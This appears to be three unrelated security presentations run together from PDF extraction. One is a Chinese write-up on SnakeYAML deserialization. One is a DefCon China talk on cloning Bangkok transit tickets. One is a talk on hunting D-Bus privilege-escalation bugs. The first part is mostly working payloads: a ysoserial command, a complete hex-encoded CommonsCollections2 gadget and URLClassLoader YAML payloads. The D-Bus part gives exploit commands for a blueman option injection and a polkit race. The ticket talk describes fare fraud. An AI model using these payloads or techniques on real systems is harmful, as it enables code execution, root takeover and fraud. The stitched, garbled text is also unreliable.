javax.script.ScriptEngineFactory PoC itr.next() ServiceLoader$LazyIterator#next() nextService classnewInstance, NashornScriptEngineFactory jarPoC / mi1k7eaJNDI C3P0 FastjsonC3P0 C3P0.WrapperConnectionPoolDataSource Hex userOverridesAsString GadgetHex C3P0+CC2 CC2PoC ➜ java -jar ysoserial.jar CommonsCollections2 "open -a Calculator" > /tmp/calc.s er Hex public class HexEncode { public static void main(String[] args) throws IOException, ClassNotFoundExce ption { System.out.println("hello"); InputStream in = new FileInputStream("/tmp/calc.ser"); byte[] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); System.out.println(HexString); } public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; } public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } } SnakeYaml Payload !!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource userOverridesAsString: 'HexAsciiSerializedMap:ACED0005737200176A6176612E7574696C 2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D7061 7261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B78700000000273720042 6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D7061726174 6F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C0009 6465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F61706163 68652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B78707372 00406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D706172 61746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB137020000787073 72003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E6374 6F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267 737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D65740012 4C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176 612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE 589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A61 76612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000000770400000003737200 3A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C7463 2E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E74 4E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B 5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450 726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000 FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F80608 54E00200007870000006A8CAFEBABE0000003200390A000300220700370700250700260100107365 7269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391 DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461 626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472 616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F7365726961 6C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C 6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F 78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F61 70616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174 696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F 6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C 6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F 73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A4578636570 74696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E 7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C 2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F 72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C 697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F 6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261 746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C 2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65 723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B0700280100 3379736F73657269616C2F7061796C6F6164732F7574696C2F476164676574732453747562547261 6E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F 696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C657401 00146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F617061 6368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C657445786365707469 6F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C 636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74 696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E010012 6F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C61 6E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B0034 01000D537461636B4D61705461626C6501001E79736F73657269616C2F50776E6572333437323131 3439383436393232330100204C79736F73657269616C2F50776E6572333437323131343938343639 3232333B002100020003000100040001001A000500060001000700000002000800040001000A000B 0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E00 00000C000100000005000F003800000001001300140002000C0000003F0000000300000001B10000 0002000D00000006000100000034000E00000020000300000001000F003800000000000100150016 0001000000010017001800020019000000040001001A00010013001B0002000C0000004900000004 00000001B100000002000D00000006000100000038000E0000002A000400000001000F0038000000 00000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00 080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B100000001 0036000000030001030002002000000002002100110000000A000100020023001000097571007E00 18000001D4CAFEBABE00000032001B0A0003001507001707001807001901001073657269616C5665 7273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D4718010006 3C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C65010012 4C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E657243 6C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574 7324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07 001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F 0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A6162 6C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747300210002 0003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F 00010001000000052AB70001B100000002000D0000000600010000003C000E0000000C0001000000 05000F001200000002001300000002001400110000000A000100020016001000097074000450776E 727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F78187380200014900 0576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000 00000178;' ScriptEngineManager https://xz.aliyun.com/t/10655, jar ScriptEngineManager file jar PoC: !!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!ja va.io.FileOutputStream [!!java.io.File ["/tmp/yaml-payload.txt"],false],!!java.u til.zip.Inflater { input: !!binary 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 bw07iAcA6JGGwQ== },1048576]] RCE PoC !javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [" file:///tmp/yaml-payload.txt"]]]] ruoyijar jpgpngtxt C3P0C3P0 Gadget ScriptEngineManager Reference https://xz.aliyun.com/t/10655 https://www.mi1k7ea.com/2019/11/29/Java- SnakeYaml%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%259 6%25E6%25BC%258F%25E6%25B4%259E/#0x03- %25E6%259B%25B4%25E5%25A4%259AGadgets%25E6%258E%25A2%25E7%25A9%25B6 https://github.com/artsploit/yaml-payload https://b1ue.cn/archives/407.html https://www.cnblogs.com/nice0e3/p/14514882.html
pdf
DefCon (China) 1, Beijing 2019 打破后端限制! Gregory Pickett, 获得CISSP, GCIA, GPEN等 多项认证 芝加哥, 伊利利诺斯州 gregory.pickett@hellfiresecurity.com Hellfire Security 概述   交通系统   逆向⼯工程   我的发现   漏漏洞洞利利⽤用   经验总结 简史  地铁⿊黑客剖析(2008)  NFC地铁⿊黑客(2012)  如何侵⼊入全国交通⽹网络(2012)  利利⽤用边信道攻击破解韩国交通卡 (2017) 有何不不同  绝不不违法  我们不不会偷偷溜溜进⻋车站  我们不不会攻击终端  我们不不利利⽤用社会⼯工程学,也不不攻击有线 /⽆无线⽹网络  ⽆无关硬件  我们不不会破解任何⼈人的密码  我们不不会克隆隆磁条、⽆无线射频卡、NF C等 有何不不同  ⽽而是关于  应⽤用程序的逻辑缺陷  好吧,实际上⽤用到了了克隆隆,但不不是将 其作为漏漏洞洞进⾏行行利利⽤用  利利⽤用应⽤用程序安全来攻击现实世界中 复杂的多层次解决⽅方案 城铁  曼⾕谷捷运公司(BTS)  曼⾕谷城铁交通系统  服务于整个曼⾕谷地区  由曼⾕谷捷运公司(BTSC)运营  两条城铁线,沿途共43个⻋车站 ⻋车票  储值卡(NFC)  单⽇日票(磁条)和单程票(磁条)  设有两个磁条  打孔穿过其中⼀一个磁条  薄厚仅0.27毫⽶米 ⻋车票 ⻋车票 ⻋车票 闸⻔门  进站  出站 为什什么选择他们?  真的只有磁条吗?  ⼀一定还有其他东⻄西!  ⻓长久以来饱受威胁  不不得不不继续前进… 设备  标准读/写器器  中国制造  标准或原始读数  错误罕⻅见  可靠的性能 问题  数据位置  编码⽅方案  数据变化  数据含义  系统响应  数据篡改  重复状态或⽆无序转换 实验室⼯工作  读取磁条  解码数据 实验室⼯工作 实验室⼯工作  尝试标准解码  国际标准化组织  6位字符集和4位字符集  有些使⽤用奇偶校验,有些则不不使⽤用  尝试对其前后数据解码  未使⽤用相关标准 实验室⼯工作 * The section marked “Known” is always 100 + the price of the ticket 实验室⼯工作  没有加密  没有奇偶校验  没有纵向冗余检查(LRC)  没有时间戳 现场⼯工作  在城铁系统中使⽤用⻋车票  每次使⽤用不不同输⼊入值  观察数据变化  通过变化来确认其含义 现场⼯工作 现场⼯工作 GUID% GUID% GUID% Station% Dispenser% Station% Turn-style% 现场⼯工作 0x00E078401A327826E91E76ED00FF7400D20FE948AE0A41 “Issued” “Used” “Collected” Buying Entering Exiting 0x00E078401A327826E91E76ED00FF74801C0FE948D8681B 0x00E078401A327826E91E76ED00FF74801C0FE948D8681B 现场⼯工作  对于单⽇日票,已知部分或者“100+ 价格”部分,被⽤用来追踪⾏行行程  单⽇日票有⼀一项独特的“永不不变更更”项 处理理规则  进站,  购票前,⻋车票必须处于“collected”状态  进站前,⻋车票必须处于“Issued”阶段  出站, 出站前,⻋车票必须处 于“Used”状态 军政府的研究  局势  合法权益 尽量量不不被逮捕  躲避安检  浸渍  终极⼿手段 当地⽂文化  因扰乱秩序⽽而受罚  不不会留留意  不不会关⼼心  哪些规程?  Avoiding Farang 利利⽤用该系统  当前已知信息  系统安全措施  BTS的假设  对假设进⾏行行攻击  史诗般的失败! 当前已知信息  基于对象  物理理对象  数据库对象  属性  识别  值  位置 当前已知信息  状态  Issued  Used  Collected  历史 系统安全措施  交通卡的组成和设计  镜像物理理对象和数据库对象  处理理规则定义了了如何有效使⽤用对象  使⽤用周期限制为24⼩小时  交通卡⽤用完后将被回收 BTS的假设  没⼈人能复制我们的交通卡  我们的系统只存在有效对象  处理理规则能够防⽌止⻋车票并发使⽤用  使⽤用周期的限制降低了了损害的发⽣生  使⽤用后,⻋车票将在我们⼿手中 对假设进⾏行行攻击  获取合适的⻋车票  捕捉有效对象  绕过规则  扩展攻击以增加损害 史诗般的失败!  制作空⽩白⻋车票  复制⼤大量量处于“Issued”状态的对象  发现处理理规则中的缺陷  在当前使⽤用周期中寻找“Collected” 状态  覆盖其他所有状态!  对象最近的状态都为“Collected”  运⾏行行原始⻋车票  所有复制票⽴立即⽣生效 史诗般的失败! “Issued” “Used” “Collected” Entering Exiting Original Original Original “Issued” “Used” “Collected” Copy Copy Copy “Issued” “Used” “Collected” Copy Copy Copy “Issued” “Used” “Collected” Copy Copy Copy “Collected” X X X 史诗般的失败! “Issued” “Used” “Collected” Entering Exiting Original Original Original “Issued” “Used” “Collected” Copy Copy Copy “Issued” “Used” “Collected” Copy Copy Copy “Issued” “Used” “Collected” Copy Copy Copy “Collected” X X X 史诗般的失败! 史诗般的失败!(示范) 将漏漏洞洞转为攻击  ⻋车票  计划 ⻋车票  寻找卡⽚片  打孔 寻找卡⽚片  阿⾥里里巴巴的建议邀请书  运⾏行行试验  中标! 阿⾥里里巴巴的建议邀请书  成千上万的公司(可能数百万)  告诉他们你想要什什么  任何你需要的!  他们会为你做的 运⾏行行试验  很多提供者  只有⼀一家公司合格  ⽆无法满⾜足卡⽚片所需的厚度  花了了好⼏几个⽉月才找到他们 中标! 中标! 打孔 打孔 计划  购票(单⽇日票)  复制⻋车票  使⽤用原始⻋车票  分发复制品  玩的开⼼心!  明天接着来! 攻击结果 Extend the attack! 对BTS的影响  数百万美元的损失  丢脸! BTS的回应  你哪位?  不不感兴趣!   对于我们   对于BTS 经验总结   没有只针对硬件的解决⽅方案   解决⽅方案通常很复杂   软件⽆无处不不在   相信假设是危险的   不不要害怕研究⽅方向   ⾏行行动前明确⻛风险   制定包含所有相关⽅方的计划 对于我们   不不要让社会习惯蒙蔽双眼   不不是所有⼈人都按照你的想法和思维做事   乐于沟通,坦然交流   ⽤用证据说话   亡⽺羊补牢,为时不不晚 对于BTS   测试解决⽅方案中的所有层级   测试应⽤用程序   检查你的假设是否合理理   使⽤用补偿和缓解机制 避免重蹈覆辙   部署第⼆二代系统   仍然没有分享渠道   仍然忽视“错误的⼈人”   仍然⽆无视我 他们如今在做什什么 最终感想   交通系统很有趣   同时也会带来麻烦   不不去尝试就永远不不会知道   逆向⼯工程是关键   你有种!   不不要相信那些天花乱坠的宣传   应⽤用安全的胜利利之路路! 链接   https://wikileaks.org/wiki/ Anatomy_of_a_Subway_Hack_2008   https://file.wikileaks.org/file/anatomy-of-a-subway-hack.pdf   https://defcon.org/images/defcon-16/dc16-presentations/ anderson-ryan-chiesa/47-zack-reply-to-mbta-oppo.pdf   https://www.computerworld.com/article/2597509/def-con-- how-to-hack-all-the-transport-networks-of-a-country.html   https://www.cio.com/article/2391654/android-nfc-hack- enables-travelers-to-ride-us-subways-for-free-- researchers-say.html   https://www.youtube.com/watch?v=-uvvVMHnC3c   https://www.blackhat.com/docs/asia-17/materials/asia-17- Kim-Breaking-Korea-Transit-Card-With-Side-Channel- Attack-Unauthorized-Recharging-wp.pdf 链接   https://www.msrdevice.com   https://www.msrdevice.com/product/misiri-msr705x-hico- magnetic-card-reader-writer-encoder-msr607-msr608- msr705-msr706   https://www.alibaba.com/   https://nexqo.en.alibaba.com   http://www.nexqo.com/   https://www.bts.co.th/   http://www.btsgroup.co.th
pdf
Ways for Web Dogs to Find Linux Privilege Escalation Vulnerabilities Hunting Vulnerabilities of D-Bus Services Ricter Z @ 360 Noah Lab $ cat /AGENDA.txt • What is D-Bus? • D-Bus authentication and PolicyKit • D-Bus services debug tricks • Common exploits for Linux privilege escalation • Real-word examples: polkit CVE, ... 1. What is D-Bus? $ man dbus An IPC/RPC message bus framework • System Bus: system apps <-> user apps • Session Bus: user apps <-> user apps By default, dbus-daemon listens on a UNIX socket and extracts uid from incoming connections (SO_PEERCRED) TCP port is also being supported $ whereis dbus-service root@server:/usr/share/dbus-1/system-services# ls -la total 60 drwxr-xr-x 2 root root 4096 Apr 9 15:30 . drwxr-xr-x 8 root root 4096 Apr 13 16:18 .. -rw-r--r-- 1 root root 113 Mar 14 19:41 io.netplan.Netplan.service -rw-r--r-- 1 root root 130 Sep 23 2020 org.freedesktop.PackageKit.service -rw-r--r-- 1 root root 133 Feb 21 20:58 org.freedesktop.PolicyKit1.service -rw-r--r-- 1 root root 114 Dec 10 2019 org.freedesktop.UPower.service -rw-r--r-- 1 root root 424 Apr 2 2020 org.freedesktop.hostname1.service -rw-r--r-- 1 root root 455 Apr 2 2020 org.freedesktop.locale1.service -rw-r--r-- 1 root root 453 Apr 2 2020 org.freedesktop.login1.service -rw-r--r-- 1 root root 457 Apr 2 2020 org.freedesktop.network1.service -rw-r--r-- 1 root root 457 Apr 2 2020 org.freedesktop.resolve1.service $ whereis dbus-service root@server:/usr/share/dbus-1/system-services# cat org.freedesktop.UPower.service [D-BUS Service] Name=org.freedesktop.UPower Exec=/usr/lib/upower/upowerd User=root SystemdService=upower.service $ whereis dbus-service root@server [ /usr/lib/systemd/system ]# cat systemd-timedated.service [Unit] Description=Time & Date Service Documentation=man:systemd-timedated.service(8) man:localtime(5) Documentation=https://www.freedesktop.org/wiki/Software/systemd/timedated [Service] ExecStart=/lib/systemd/systemd-timedated BusName=org.freedesktop.timedate1 WatchdogSec=3min CapabilityBoundingSet=CAP_SYS_TIME $ man dbus • Object Path: identifier with an application • Interfaces: define properties, methods and signals supported by D-Bus • Methods: server-side attack vendor • Properties: server-side attack vendor • Signals: 1 to N, publish subscribe mechanism, client-side attack vendor $ gdbus introspect $ gdbus introspect --system -d org.freedesktop.DBus -o / node / { interface org.freedesktop.DBus { methods: Hello(out s arg_0); RequestName(in s arg_0, in u arg_1, out u arg_2); signals: NameOwnerChanged(s arg_0, s arg_1, s arg_2); properties: readonly as Features; }; }; Destination Service System Bus Object Path Interface Name Method Name Signal Name Property Name s string a array b boolean a{} dict u uint32 as string array i int32 h file descriptor x int64 o object path t uint64 () structure Arguments $ gdbus introspect | http-format POST /?method=org.freedesktop.DBus.RequestName HTTP/1.1 Host: org.freedesktop.Dbus Content-Type: application/json { "arg_0": "name", "arg_1": 1, "arg_2": 2 } Object Path Method Name Destination Service Arguments Interface Name $ dbus-send $ dbus-send --system --print-reply --dest=org.freedesktop.Dbus / org.freedesktop.Dbus.RequestName string:name uint32:1 uint32:2 Arguments Object Path Interface Name and Method Name Destination Service 2. D-Bus Authentication and PolicyKit $ cat dbus.policy <busconfig> <policy user="root"> <allow own="org.freedesktop.thermald"/> <allow send_destination="org.freedesktop.thermald"/> <allow receive_sender="org.freedesktop.thermald"/> </policy> <policy context="default"> <deny send_destination="org.freedesktop.thermald"/> <allow receive_sender="org.freedesktop.thermald"/> </policy> </busconfig> $ gdbus introspect node /org/freedesktop/systemd1 { interface org.freedesktop.systemd1.Manager { methods: Reexecute(); @org.freedesktop.systemd1.Privileged("true") Exit(); } } Some methods has a privileged annotation, which needs a privileged user to invoke $ man polkit • PolicyKit is an authentication API 1. Subject sends requests to Mechanism 2. Mechanism sends action id and subject information to polkit 3. polkit checks if the subject has privileges on the action id 4. polkit returns the result 5. Machanism depends on the result to determine next process $ cat polkit.policy <policyconfig> <action id="org.freedesktop.policykit.exec"> <defaults> <allow_any>no</allow_any> <allow_inactive>auth_admin</allow_inactive> <allow_active>yes</allow_active> </defaults> </action> </policyconfig> Action ID • yes: Authorized • no: Not authorized • auth_admin: Authentication by an admin user • auth_self: Authentication by the session owner • allow_inactive: ignored • allow_active: ignored • allow_any: applys to any client (console, SSH, VNC) $ cat polkit.rules polkit.addRule(function(action, subject) { if (action.id == "org.freedesktop.fwupd.update-internal" && subject.active == true && subject.local == true && subject.isInGroup("sudo")) { return polkit.Result.YES; } }); users in the sudo group, and the subject is local and active, can invoke this action without authentication $ cat polkit.pkla [Allow admins to upgrade the system] Identity=unix-group:sudo Action=org.freedesktop.packagekit.upgrade- system;org.freedesktop.packagekit.trigger-offline-update ResultAny=no ResultInactive=no ResultActive=yes users in the sudo group, and the subject is active and local, can invoke above actions $ find targets For finding universal vulnerabilities 1. The service allows unprivileged user to send requests 2. The action which the tag <allow_any> has value "yes" 3. No "privileged" relative annotation methods For finding vulnerabilities under specified environment 1. The the user group which you at 2. Check your session is local or not * Tip: D-Bus methods not always equal to the action-id $ find targets For client-sites attack • Process running as root privilege • Not check the sender $ dbus-send --dest=org.freedesktop.DBus /... org.freedesktop.DBus.Debug.Stats.GetAllMatchRules | grep -v sender dict entry( string ":1.14" array [ string "type='signal',interface='org.freedesktop.DBus.Local'" ] ) $ busctl | grep :1.14 :1.14 923 cups-browsed root :1.14 cups-browsed.service Our target 3. D-Bus Services Debug Tricks $ export DEBUG=1 • Check program arguments and print debug log • Use strace and grep key informations • Find source codes, add printf() and compile • Not all the services are written by C/C++, golang and python are also commonly used program language $ G_MESSAGES_DEBUG=all polkitd -r $ dbus-service -h # /usr/lib/upower/upowerd -h Usage: upowerd [OPTION?] upower daemon Help Options: -h, --help Show help options Application Options: --timed-exit Exit after a small delay --immediate-exit Exit after the engine has loaded -r, --replace Replace the old daemon -v, --verbose Show extra debugging information $ strace -f -s 1024 2>&1 4. Common Exploits for Linux and Real-world examples $ ls /Common/Exploits | grep Easy • Command/option injection • Set environment variables • Load shared libraries • Write data to files • Race condition • Import python module files • Path traversal • Logic bugs • Symbolic links tricks • Memory interruption • Use-after-free • ... $ ./CVE-2020-15238-blueman COMMANDS = [["dhcpcd", "-m", "100"],] self._command = [path] + command[1:] + [self._interface] self._client = subprocess.Popen(self._command) $ dhcpcd --help usage: dhcpcd [-146ABbDdEGgHJKLMNPpqTV] [-C, --nohook hook] [-c, --script script] Blueman executes dhcpcd command to retrieve IP address on interfaces, which has an option injection vulnerability. An unprivileged attacker can execute a bash script as root user. $ ./CVE-2020-15238-blueman # strace -f /usr/libexec/blueman-mechanism -d 2>&1 | grep execve [pid 2505] execve("/usr/sbin/dhcpcd", ["/usr/sbin/dhcpcd", "-m", "100", "-c/tmp/eye"]) [pid 2506] execve("/tmp/eye", ["/tmp/eye"]) [pid 2507] execve("/usr/bin/id", ["id"]) $ echo $'#!/bin/bash\nid > /tmp/pwned' > /tmp/eye $ chmod +x /tmp/eye $ dbus-send --print-reply --system --dest=org.blueman.Mechanism /org/blueman/mechanism org.blueman.Mechanism.DhcpClient string:"-c/tmp/eye" $ ./CVE-2022-29800-networkd-dispatcher • networkd-dispatcher handles signals from sender org.freedesktop.network1 • A spoofed signal PropertiesChanged will lead a code execution • ... But only root or systemd-network user can own the name • So, it is useless, maybe org.freedesktop.network1 networkd-dispatcher D-Bus Daemon PropertiesChanged Code Execution attacker Subscribe PropertiesChanged signals $ ./CVE-2021-3560-polkit # G_MESSAGES_DEBUG=all /usr/lib/policykit-1/polkitd –r ** (polkitd:69010): DEBUG: 01:36:20.944: checking whether system-bus-name::1.18816 is authorized for org.freedesktop.timedate1.set-time ** (polkitd:69010): DEBUG: 01:36:20.945: is authorized (implied by org.freedesktop.timedate1.set-time) $ dbus-send --print-reply --system --dest=org.freedesktop.timedate1 /org/freedesktop/timedate1 org.freedesktop.timedate1.SetTimezone string:Asia/Chongqing boolean:true & sleep 0.02; kill $! [3] 69120 [2] Terminated dbus-send --print-reply --system --dest=org.freedesktop.timedate1 /org/freedesktop/timedate1 org.freedesktop.timedate1.SetTimezone string:Asia/Chongqing boolean:true The exploitation chain is adding an administrator user via account-daemon service $ ./CVE-2021-3560-polkit Requirement: - polkit >= 0.113 - target action has policykit.imply annotation - caller has no error checking Question: - Why policykit.imply is needed? # strace polkitd -> D-Bus Service invokes follow method with action id -> org.freedesktop.PolicyKit1.Authority.CheckAuthorization -> returns True or False -> D-Bus Service check the returned data -> Allow or deny the action to be performed $ cat polkitbackendinteractiveauthority.c ret = check_authorization_sync(&error); if (error != NULL) goto out; ret = check_authorization_sync(&error); if (ret != NULL) { // ... } check_authorization_sync returns True if the connection is not existed $ cat polkitbackendinteractiveauthority.c implied_result = check_authorization_sync (authority, caller, subject, imply_action_id, ... &implied_error); if (implied_result != NULL) { if (polkit_authorization_result_get_is_authorized (implied_result)) { g_debug(" is authorized (implied by %s)", imply_action_id); result = implied_result; goto out; } } error is ignored and the result is True # strace polkitd -> D-Bus Service invokes follow method with action id -> org.freedesktop.PolicyKit1.Authority.CheckAuthorization -> CheckAuthorization invokes polkit_backend_..._check_authorization -> check_authorization_sync -> check_authorization_sync again for imply annotated action -> returns True -> returns True -> returns True -> returns True -> returns True -> The action now is allowed to be performed Question Does the exploitation really need an imply annotated action? $ history | grep polkitbackend We only need to find some functions that incorrectly using the follow checker functions. - check_authorization_sync - polkit_backend_session_monitor_get_us er_for_subject - polkit_system_bus_name_get_creds_sync ret = check_authorization_sync(&error); if (ret != NULL) { // ... } $ cat polkitbackendinteractiveauthority.c static gboolean polkit_backend_..._authentication_agent_response () { user_of_caller = polkit_..._get_user_for_subject (priv->session_monitor, caller, NULL, error); if (user_of_caller == NULL) goto out; /* only uid 0 is allowed to invoke this method */ if (!identity_is_root_user (user_of_caller)) { goto out; } } No error checks Seems we can 